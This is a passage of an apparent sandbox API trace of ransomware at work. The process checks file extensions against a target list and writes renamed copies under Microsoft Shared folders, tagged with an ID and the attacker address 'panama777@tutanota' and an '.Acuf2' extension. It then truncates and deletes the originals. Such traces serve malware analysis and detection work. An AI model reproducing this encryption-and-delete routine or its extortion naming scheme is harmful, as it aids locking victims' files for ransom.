	[0047.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0047.988] lstrlenW (lpString=".zip") returned 4
	[0047.988] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0047.988] lstrlenW (lpString=".rar") returned 4
	[0047.988] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0047.988] lstrlenW (lpString=".bz2") returned 4
	[0047.988] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0047.988] lstrlenW (lpString=".7z") returned 3
	[0047.988] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0047.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0047.988] lstrlenW (lpString=".dbf") returned 4
	[0047.988] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0047.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0047.988] lstrlenW (lpString=".1cd") returned 4
	[0047.988] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0047.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0047.988] lstrlenW (lpString=".jpg") returned 4
	[0047.988] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0047.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0047.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0047.988] lstrlenW (lpString=".doc") returned 4
	[0047.988] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0047.988] lstrlenW (lpString=".docx") returned 5
	[0047.988] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1
	[0047.988] lstrlenW (lpString=".pdf") returned 4
	[0047.988] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0047.988] lstrlenW (lpString=".xls") returned 4
	[0047.989] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0047.989] lstrlenW (lpString=".xlsx") returned 5
	[0047.989] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1
	[0047.989] lstrlenW (lpString=".ppt") returned 4
	[0047.989] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0047.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0047.989] lstrlenW (lpString=".zip") returned 4
	[0047.989] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0047.989] lstrlenW (lpString=".rar") returned 4
	[0047.989] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0047.989] lstrlenW (lpString=".bz2") returned 4
	[0047.989] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0047.989] lstrlenW (lpString=".7z") returned 3
	[0047.989] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0047.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0047.989] lstrlenW (lpString=".dbf") returned 4
	[0047.989] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0047.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0047.989] lstrlenW (lpString=".1cd") returned 4
	[0047.989] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0047.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0047.989] lstrlenW (lpString=".jpg") returned 4
	[0047.989] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0047.989] lstrcmpiW (lpString1=".htm", lpString2=".Acuf2") returned 1
	[0047.989] lstrlenW (lpString="Stars.htm") returned 9
	[0047.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0047.990] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=230) returned 1
	[0047.990] CloseHandle (hObject=0x160) returned 1
	[0047.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20
	[0047.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67
	[0047.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67
	[0047.990] lstrlenW (lpString=".doc") returned 4
	[0047.990] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0047.990] lstrlenW (lpString=".docx") returned 5
	[0047.990] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0047.990] lstrlenW (lpString=".pdf") returned 4
	[0047.990] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0047.990] lstrlenW (lpString=".xls") returned 4
	[0047.990] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0047.990] lstrlenW (lpString=".xlsx") returned 5
	[0047.990] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0047.990] lstrlenW (lpString=".ppt") returned 4
	[0047.990] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0047.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67
	[0047.991] lstrlenW (lpString=".zip") returned 4
	[0047.991] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0047.991] lstrlenW (lpString=".rar") returned 4
	[0047.991] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0047.991] lstrlenW (lpString=".bz2") returned 4
	[0047.991] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0047.991] lstrlenW (lpString=".7z") returned 3
	[0047.991] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0047.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67
	[0047.991] lstrlenW (lpString=".dbf") returned 4
	[0047.991] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0047.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67
	[0047.991] lstrlenW (lpString=".1cd") returned 4
	[0047.991] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0047.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67
	[0047.991] lstrlenW (lpString=".jpg") returned 4
	[0047.991] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0047.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67
	[0047.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67
	[0047.991] lstrlenW (lpString=".doc") returned 4
	[0047.991] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0047.991] lstrlenW (lpString=".docx") returned 5
	[0047.991] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0047.991] lstrlenW (lpString=".pdf") returned 4
	[0047.991] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0047.991] lstrlenW (lpString=".xls") returned 4
	[0047.991] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0047.991] lstrlenW (lpString=".xlsx") returned 5
	[0047.991] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0047.991] lstrlenW (lpString=".ppt") returned 4
	[0047.991] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0047.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67
	[0047.992] lstrlenW (lpString=".zip") returned 4
	[0047.992] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0047.992] lstrlenW (lpString=".rar") returned 4
	[0047.992] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0047.992] lstrlenW (lpString=".bz2") returned 4
	[0047.992] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0047.992] lstrlenW (lpString=".7z") returned 3
	[0047.992] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0047.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67
	[0047.992] lstrlenW (lpString=".dbf") returned 4
	[0047.992] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0047.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67
	[0047.992] lstrlenW (lpString=".1cd") returned 4
	[0047.992] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0047.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67
	[0047.992] lstrlenW (lpString=".jpg") returned 4
	[0047.992] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0047.992] lstrcmpiW (lpString1=".jpg", lpString2=".Acuf2") returned 1
	[0047.992] lstrlenW (lpString="Stars.jpg") returned 9
	[0047.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0048.112] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7505) returned 1
	[0048.112] CloseHandle (hObject=0x1dc) returned 1
	[0048.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20
	[0048.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0048.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67
	[0048.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67
	[0048.113] lstrlenW (lpString=".doc") returned 4
	[0048.113] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0048.113] lstrlenW (lpString=".docx") returned 5
	[0048.113] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0048.113] lstrlenW (lpString=".pdf") returned 4
	[0048.113] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0048.113] lstrlenW (lpString=".xls") returned 4
	[0048.113] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0048.113] lstrlenW (lpString=".xlsx") returned 5
	[0048.113] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0048.113] lstrlenW (lpString=".ppt") returned 4
	[0048.113] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0048.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67
	[0048.113] lstrlenW (lpString=".zip") returned 4
	[0048.113] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0048.113] lstrlenW (lpString=".rar") returned 4
	[0048.113] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0048.113] lstrlenW (lpString=".bz2") returned 4
	[0048.113] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0048.113] lstrlenW (lpString=".7z") returned 3
	[0048.113] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0048.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67
	[0048.114] lstrlenW (lpString=".dbf") returned 4
	[0048.114] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0048.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67
	[0048.114] lstrlenW (lpString=".1cd") returned 4
	[0048.114] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0048.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67
	[0048.114] lstrlenW (lpString=".jpg") returned 4
	[0048.114] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0048.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67
	[0048.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67
	[0048.114] lstrlenW (lpString=".doc") returned 4
	[0048.114] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0048.114] lstrlenW (lpString=".docx") returned 5
	[0048.114] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0048.114] lstrlenW (lpString=".pdf") returned 4
	[0048.114] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0048.114] lstrlenW (lpString=".xls") returned 4
	[0048.114] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0048.114] lstrlenW (lpString=".xlsx") returned 5
	[0048.114] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0048.114] lstrlenW (lpString=".ppt") returned 4
	[0048.114] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0048.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67
	[0048.114] lstrlenW (lpString=".zip") returned 4
	[0048.114] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0048.114] lstrlenW (lpString=".rar") returned 4
	[0048.114] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0048.114] lstrlenW (lpString=".bz2") returned 4
	[0048.114] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0048.114] lstrlenW (lpString=".7z") returned 3
	[0048.115] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0048.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67
	[0048.115] lstrlenW (lpString=".dbf") returned 4
	[0048.115] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0048.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67
	[0048.115] lstrlenW (lpString=".1cd") returned 4
	[0048.115] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0048.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67
	[0048.115] lstrlenW (lpString=".jpg") returned 4
	[0048.115] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0048.115] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0048.115] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0048.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0048.874] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=34916) returned 1
	[0048.874] CloseHandle (hObject=0x170) returned 1
	[0048.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20
	[0048.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0048.875] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.875] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0048.875] GetLastError () returned 0x0
	[0048.875] ReadFile (in: hFile=0x170, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x8864, lpOverlapped=0x0) returned 1
	[0048.921] WriteFile (in: hFile=0x1c0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x8870, lpOverlapped=0x0) returned 1
	[0048.922] ReadFile (in: hFile=0x170, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.922] WriteFile (in: hFile=0x1c0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0048.922] SetEndOfFile (hFile=0x1c0) returned 1
	[0048.922] CloseHandle (hObject=0x1c0) returned 1
	[0048.923] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.923] SetEndOfFile (hFile=0x170) returned 1
	[0048.926] CloseHandle (hObject=0x170) returned 1
	[0048.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0048.926] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1
	[0048.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0048.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0048.926] lstrlenW (lpString=".doc") returned 4
	[0048.926] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0048.927] lstrlenW (lpString=".docx") returned 5
	[0048.927] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0048.927] lstrlenW (lpString=".pdf") returned 4
	[0048.927] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0048.927] lstrlenW (lpString=".xls") returned 4
	[0048.927] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0048.927] lstrlenW (lpString=".xlsx") returned 5
	[0048.927] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0048.927] lstrlenW (lpString=".ppt") returned 4
	[0048.927] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0048.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0048.927] lstrlenW (lpString=".zip") returned 4
	[0048.927] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0048.927] lstrlenW (lpString=".rar") returned 4
	[0048.927] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0048.927] lstrlenW (lpString=".bz2") returned 4
	[0048.927] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0048.927] lstrlenW (lpString=".7z") returned 3
	[0048.927] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0048.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0048.927] lstrlenW (lpString=".dbf") returned 4
	[0048.927] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0048.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0048.927] lstrlenW (lpString=".1cd") returned 4
	[0048.927] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0048.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0048.927] lstrlenW (lpString=".jpg") returned 4
	[0048.927] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0048.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0048.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0048.928] lstrlenW (lpString=".doc") returned 4
	[0048.928] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0048.928] lstrlenW (lpString=".docx") returned 5
	[0048.928] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0048.928] lstrlenW (lpString=".pdf") returned 4
	[0048.928] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0048.928] lstrlenW (lpString=".xls") returned 4
	[0048.928] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0048.928] lstrlenW (lpString=".xlsx") returned 5
	[0048.928] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0048.928] lstrlenW (lpString=".ppt") returned 4
	[0048.928] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0048.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0048.928] lstrlenW (lpString=".zip") returned 4
	[0048.928] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0048.928] lstrlenW (lpString=".rar") returned 4
	[0048.928] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0048.928] lstrlenW (lpString=".bz2") returned 4
	[0048.928] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0048.928] lstrlenW (lpString=".7z") returned 3
	[0048.928] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0048.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0048.928] lstrlenW (lpString=".dbf") returned 4
	[0048.928] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0048.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0048.928] lstrlenW (lpString=".1cd") returned 4
	[0048.928] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0048.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0048.928] lstrlenW (lpString=".jpg") returned 4
	[0048.928] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0048.929] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0048.929] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0048.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0048.929] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1925) returned 1
	[0048.929] CloseHandle (hObject=0x170) returned 1
	[0048.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20
	[0048.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0048.929] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.930] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
